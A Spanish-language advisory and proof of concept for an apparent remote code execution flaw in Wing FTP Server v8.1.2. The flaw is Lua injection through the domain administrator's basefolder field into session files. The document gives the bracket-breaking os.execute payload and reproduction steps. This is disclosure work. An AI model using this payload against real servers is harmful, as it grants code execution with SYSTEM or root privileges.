CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 contiene una vulnerabilidad de Ejecución Remota de Código (RCE) en el mecanismo de serialización de sesiones. Un administrador autenticado puede inyectar código Lua arbitrario a través del campo mydirectory (basefolder) del administrador de dominio, que se ejecuta del lado del servidor mediante loadfile().
Esta es una vulnerabilidad diferente a CVE-2025-47812. La corrección aplicada en v7.4.4 para CVE-2025-47812 solo abordó el vector de inyección de bytes nulos en el campo de nombre de usuario. La serialización de sesiones insegura subyacente no se corrigió y sigue siendo explotable a través del campo basefolder del administrador en v8.1.2.
La función de serialización de sesiones serialize() en SessionModule.lua (línea 103) y SessionModuleAdmin.lua (línea 104) escribe valores de cadena usando la notación de cadena larga [[...]] de Lua:
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
Si un valor de sesión contiene ]], la cadena larga se cierra prematuramente y el contenido restante se analiza como código Lua ejecutable.
Existe código de sanitización de corchetes en (líneas 274-275) y (líneas 277-278), pero está comentado:
cgi.luacgiadmin.lua--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
La metatabla de sesión que aplicaría esta sanitización también está deshabilitada:
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
Paso 1 — Inyectar payload a través del basefolder del administrador de dominio:
Un administrador completo autenticado crea o modifica una cuenta de administrador de dominio. El campo mydirectory se establece en:
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
Los endpoints service_add_admin.html y service_modify_admin.html no sanitizan los caracteres de corchetes del campo mydirectory. (service_add_admin.html elimina los corchetes del nombre de usuario en las líneas 14-15, pero no de mydirectory.)
Paso 2 — Desencadenar la ejecución:
Cuando el administrador de dominio envenenado inicia sesión a través de service_login.html, el basefolder se almacena directamente en la sesión:
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() escribe esto en el archivo de sesión como:
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
Paso 3 — Ejecución de código:
En la siguiente solicitud HTTP que use esa sesión, SessionModuleAdmin.load() llama a loadfile() seguido de f() (líneas 184-188). El analizador de Lua interpreta el archivo de sesión como:
_SESSION['admin_basefolder']=[[C:\ftproot]] --> asigna la cadena "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> SE EJECUTA COMO CÓDIGO
--]] --> el resto queda comentado
El payload se ejecuta con los privilegios del proceso de Wing FTP Server (SYSTEM en Windows, root en Linux).
Se ha desarrollado y probado un PoC funcional contra Wing FTP Server v8.1.2 en Windows.
Pasos de reproducción:
Inicia sesión en el panel de administración
Crea un nuevo administrador de dominio con el siguiente valor de mydirectory:
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
Inicia sesión como el administrador de dominio recién creado
Navega a cualquier página de administración (desencadena la carga de sesión)
Verifica que se haya creado C:\wingftp_rce_proof.txt conteniendo el nombre de usuario del servidor